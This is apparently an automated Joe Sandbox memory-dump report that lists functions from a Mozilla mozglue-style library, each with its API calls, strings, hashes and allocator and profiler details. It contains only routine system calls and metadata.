Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: f5e2cfd98400dc4a56df23663229c742cfb9b8e35bee58a39714990fa7c1b85e
Instruction ID: 3c0fa2a909eb536dc9fd0a47974c0ba15d82f62d965493837f2e5e6fa2b404a3
Opcode Fuzzy Hash: f5e2cfd98400dc4a56df23663229c742cfb9b8e35bee58a39714990fa7c1b85e
Instruction Fuzzy Hash: B711B2B19012256BE710AF76DC44BAFBEF8EF45754F044529F888A7300F775985487E2

Function 6CC00D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CBC3DEF), ref: 6CC00D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CBC3DEF), ref: 6CC00D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CBC3DEF), ref: 6CC00DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CC00D97, 6CC00DBE
<jemalloc>, xrefs: 6CC00D92, 6CC00DB9

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 0856ca66a76c8d7bd0d7987f38ec405b179b762c9da996a9e8b6998250f9adcf
Instruction ID: ec7d5d60cb30357fe18b6998f9a779a2ddc10f90f1b2b6c50582af2eb3239bc6
Opcode Fuzzy Hash: 0856ca66a76c8d7bd0d7987f38ec405b179b762c9da996a9e8b6998250f9adcf
Instruction Fuzzy Hash: FEF08031380B5423E5142A665C16B5A276D77C2B65F36C075F644DE9C0FA61E401C675

Function 6CBED468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CBFCBE8: GetCurrentProcess.KERNEL32(?,6CBC31A7), ref: 6CBFCBF1
Part of subcall function 6CBFCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CBC31A7), ref: 6CBFCBFA

EnterCriticalSection.KERNEL32(6CC4E784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CBFD1C5), ref: 6CBED4F2
LeaveCriticalSection.KERNEL32(6CC4E784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CBFD1C5), ref: 6CBED50B

Part of subcall function 6CBCCFE0: EnterCriticalSection.KERNEL32(6CC4E784), ref: 6CBCCFF6
Part of subcall function 6CBCCFE0: LeaveCriticalSection.KERNEL32(6CC4E784), ref: 6CBCD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CBFD1C5), ref: 6CBED52E
EnterCriticalSection.KERNEL32(6CC4E7DC), ref: 6CBED690
LeaveCriticalSection.KERNEL32(6CC4E784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CBFD1C5), ref: 6CBED751

Strings

MOZ_CRASH(), xrefs: 6CBED4BB

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 6ba2af62f7214af2b7ab489ea940f84ed9e1c233fbfa92e1b554771c3c2e59e4
Instruction ID: f1d7682901f8d45750cdc4b42f4fb96ae96c482d82f19156f6080f8a9bcc9a79
Opcode Fuzzy Hash: 6ba2af62f7214af2b7ab489ea940f84ed9e1c233fbfa92e1b554771c3c2e59e4
Instruction Fuzzy Hash: 5451EF71A047818FD324CF28C09071AB7F1EBC9758F15CA2ED5A9C7B85E7B0A844CB92

Function 6CC146E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CC14721

Part of subcall function 6CBC4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CC03EBD,00000017,?,00000000,?,6CC03EBD,?,?,6CBC42D2), ref: 6CBC4444

Strings

., xrefs: 6CC1476A
-%llu, xrefs: 6CC14733
profiler-paused, xrefs: 6CC146E4

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 56e6de757de62a7ec7051a4a6e343152210917ca927354b5a949fa7bd4060f87
Instruction ID: 01d8cd9d184487b9798a1ed0d6daef603c8364810dd6003640ecfc6bd9aba6e2
Opcode Fuzzy Hash: 56e6de757de62a7ec7051a4a6e343152210917ca927354b5a949fa7bd4060f87
Instruction Fuzzy Hash: E2313771F042084BCB08CF6DE89169EBBE6DB89318F15853EE8059BB81FB709904CB90

Function 6CC1B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBC4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CC03EBD,6CC03EBD,00000000), ref: 6CBC42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CC1B127), ref: 6CC1B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC1B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CC1B4E4

Strings

pid:, xrefs: 6CC1B4DE

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 6c0c106463dbd1cfbb8b7e27f0c854ec9480bb2028c513fa7aa5fd8385804f08
Instruction ID: 4efec558678f827931b997c3506af7ec762f34834b2c2f688c964b10434b6728
Opcode Fuzzy Hash: 6c0c106463dbd1cfbb8b7e27f0c854ec9480bb2028c513fa7aa5fd8385804f08
Instruction Fuzzy Hash: 963112B1A05208CBDB00DFABD890AAEB7B5BF05308F54852DD811A7F41E731A849DFA1

Function 6CC0E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC0E577
AcquireSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0E584
ReleaseSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CC0E8A6

Strings

MOZ_PROFILER_STARTUP, xrefs: 6CC0E5A1, 6CC0E5CC, 6CC0E5FF, 6CC0E62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CC0E722, 6CC0E750, 6CC0E7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CC0E655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CC0E826, 6CC0E850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CC0E777

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 527f490175e0bf63b1e48833e3d77457e7cf8c2e380e59fa20e3f8821327dd37
Instruction ID: 951fb7a15f82ca62364663900cd14a9659f9ae53ca8ee456341676927bee59f1
Opcode Fuzzy Hash: 527f490175e0bf63b1e48833e3d77457e7cf8c2e380e59fa20e3f8821327dd37
Instruction Fuzzy Hash: 68118E31B04654DFCB00AF18C448B5ABBB4FB8932CF45C619E89557A50EB70A805CBA5

Function 6CC10C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CC10CD5

Part of subcall function 6CBFF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CBFF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CC10D40
free.MOZGLUE ref: 6CC10DCB

Part of subcall function 6CBE5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CBE5EDB
Part of subcall function 6CBE5E90: memset.VCRUNTIME140(6CC27765,000000E5,55CCCCCC), ref: 6CBE5F27
Part of subcall function 6CBE5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CBE5FB2

free.MOZGLUE ref: 6CC10DDD
free.MOZGLUE ref: 6CC10DF2

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: d4c411fec5adeb77c16049cfb486bd1477c40f20fd4688f051b7b5cd8175b935
Instruction ID: bad68b92c5f09742981c22dcefadeb84cc4750a830bda2ad9c3453914a3a9fe1
Opcode Fuzzy Hash: d4c411fec5adeb77c16049cfb486bd1477c40f20fd4688f051b7b5cd8175b935
Instruction Fuzzy Hash: C041277191C7808BD320DF2AC08079EFBE5BF89754F108A6EE8D887B50E7709459CB82

Function 6CC1CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CC0DA31,00100000,?,?,00000000,?), ref: 6CC1CDA4

Part of subcall function 6CBDCA10: malloc.MOZGLUE(?), ref: 6CBDCA26

Part of subcall function 6CC1D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CC1CDBA,00100000,?,00000000,?,6CC0DA31,00100000,?,?,00000000,?), ref: 6CC1D158
Part of subcall function 6CC1D130: InitializeConditionVariable.KERNEL32(00000098,?,6CC1CDBA,00100000,?,00000000,?,6CC0DA31,00100000,?,?,00000000,?), ref: 6CC1D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CC0DA31,00100000,?,?,00000000,?), ref: 6CC1CDC4

Part of subcall function 6CC17480: ReleaseSRWLockExclusive.KERNEL32(?,6CC215FC,?,?,?,?,6CC215FC,?), ref: 6CC174EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CC0DA31,00100000,?,?,00000000,?), ref: 6CC1CECC

Part of subcall function 6CBDCA10: mozalloc_abort.MOZGLUE(?), ref: 6CBDCAA2

Part of subcall function 6CC0CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CC1CEEA,?,?,?,?,00000000,?,6CC0DA31,00100000,?,?,00000000), ref: 6CC0CB57
Part of subcall function 6CC0CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CC0CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CC1CEEA,?,?), ref: 6CC0CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CC0DA31,00100000,?,?,00000000,?), ref: 6CC1D058

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 25b9197ab4cd0254443cd936ea1acd4f781d22f1a0ebf478b56038d125cda98c
Instruction ID: e41a2b44b69d8dee9fbe19a7dac942c1da2aae4cd70d4a69c88553b350ffc7a1
Opcode Fuzzy Hash: 25b9197ab4cd0254443cd936ea1acd4f781d22f1a0ebf478b56038d125cda98c
Instruction Fuzzy Hash: 66D15071A04B469FD709CF29C480799F7F1BF89308F01866DE8598BB51EB31E9A5CB81

Function 6CBE5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CBE5D40
EnterCriticalSection.KERNEL32(6CC4F688), ref: 6CBE5D67
__aulldiv.LIBCMT ref: 6CBE5DB4
LeaveCriticalSection.KERNEL32(6CC4F688), ref: 6CBE5DED

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 1d7c4000ed9bf45000a0c6edcda3b143a54c2c6c6e7c1f2343aef2d8382ea6ef
Instruction ID: 19698a28313b9ad79fb913176488146df53c7ececfb20bd84655bb3c1ff7aef1
Opcode Fuzzy Hash: 1d7c4000ed9bf45000a0c6edcda3b143a54c2c6c6e7c1f2343aef2d8382ea6ef
Instruction Fuzzy Hash: 14517171E001698FDF08DFA8C854ABEBBB2FB89718F1AC61DD815A7750C730A945CB90

Function 6CBCCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBCCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CBCCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CBCCF4E

Strings

0, xrefs: 6CBCCF30

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 50dd173987566b32e1635595f6be70a359a3a1b038a550aa191a68db691b8c6a
Instruction ID: e6adcf9474914a47b1cc6f190e86000c4b4f425e02e720e40ba975b0e816f63a
Opcode Fuzzy Hash: 50dd173987566b32e1635595f6be70a359a3a1b038a550aa191a68db691b8c6a
Instruction Fuzzy Hash: A9510375A0026A8FCB00CF18C490A9ABBB5EF99304F19869DD8595F751D731FD06CBE1

Function 6CC06470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CC082BC,?,?), ref: 6CC0649B

Part of subcall function 6CBDCA10: malloc.MOZGLUE(?), ref: 6CBDCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC064A9

Part of subcall function 6CBFFA80: GetCurrentThreadId.KERNEL32 ref: 6CBFFA8D
Part of subcall function 6CBFFA80: AcquireSRWLockExclusive.KERNEL32(6CC4F448), ref: 6CBFFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC0653F
free.MOZGLUE(?), ref: 6CC0655A

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 9fcc40dc149c4ea9098765b7e89e4260c47fde3cb6f183e54b9a316c1787ef76
Instruction ID: 352e54c8b1732bf4d65423d999de32336328e9143b9a5b96d027ed62ecdee443
Opcode Fuzzy Hash: 9fcc40dc149c4ea9098765b7e89e4260c47fde3cb6f183e54b9a316c1787ef76
Instruction Fuzzy Hash: 39318FB5A047559FD700CF24D894A9FBBF4BF89318F40842EE85A97740EB30E919CB92

Function 6CBDB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CBDB4F5
AcquireSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CBDB502
ReleaseSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CBDB542
free.MOZGLUE(?), ref: 6CBDB578

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: ee6aea7e147b9d0d5feaf676ae925813bf80e62f81afa588dcfa3b1a443d370e
Instruction ID: 31e55e56280839a53573d637f8fe64de357868f19c047513b4b0fa7ed214edf6
Opcode Fuzzy Hash: ee6aea7e147b9d0d5feaf676ae925813bf80e62f81afa588dcfa3b1a443d370e
Instruction Fuzzy Hash: D311DF31A14B81CBD7129F29C410765B3B1FF9A31CF11E70AE84953E01EBB0B5C48791

Function 6CC03DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CBCF20E,?), ref: 6CC03DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CBCF20E,00000000,?), ref: 6CC03DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CC03E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CC03E0E

Part of subcall function 6CBFCC00: GetCurrentProcess.KERNEL32(?,?,6CBC31A7), ref: 6CBFCC0D
Part of subcall function 6CBFCC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CBC31A7), ref: 6CBFCC16

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 4527c229e7d68823aae9db211d198ba62f621f2045f37f9f2cd273309542c00f
Instruction ID: a4014cac0c648f3a967e468a7cb5ecad24ae1ca057b994387d56b9e121dfb6a6
Opcode Fuzzy Hash: 4527c229e7d68823aae9db211d198ba62f621f2045f37f9f2cd273309542c00f
Instruction Fuzzy Hash: 0DF0FE716402186BE700AB54EC41DAF377DEB46628F058020FD1857741E636B95986F6

Function 6CC185B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CC185D3

Part of subcall function 6CBDCA10: malloc.MOZGLUE(?), ref: 6CBDCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CC18725

Strings

map/set<T> too long, xrefs: 6CC18720

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 14ac393ae81d3107f7f4a3f3c8b53e2ab01b38f78e51eda27b1373a8e7957e0c
Instruction ID: ff88288ecad9bf17d02937d80363aa4ce9a0bb8dd902cd78c1a3e5001adcf104
Opcode Fuzzy Hash: 14ac393ae81d3107f7f4a3f3c8b53e2ab01b38f78e51eda27b1373a8e7957e0c
Instruction Fuzzy Hash: F8516474A08641CFD701CF1AC084E5ABBF1BF4A318F1AC28AD8595BB52D335E885CF92

Function 6CBCBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CBCBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CBCBE8F

Strings

0, xrefs: 6CBCBE5B

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 0b4154032df004f01168e9b44e10477593330c97250c1df5e093beaf0b92c9db
Instruction ID: 0fd321daf970b3ba92cd0cb7fcc2709111347865533aa45b49c00b4932bb5fc2
Opcode Fuzzy Hash: 0b4154032df004f01168e9b44e10477593330c97250c1df5e093beaf0b92c9db
Instruction Fuzzy Hash: 0D418D71A09786CFC701CF38C481A9FBBE4EF8A348F008A1DF995A7611D73199598B93

Function 6CC03CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC03D19
mozalloc_abort.MOZGLUE(?), ref: 6CC03D6C

Strings

d, xrefs: 6CC03D58

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
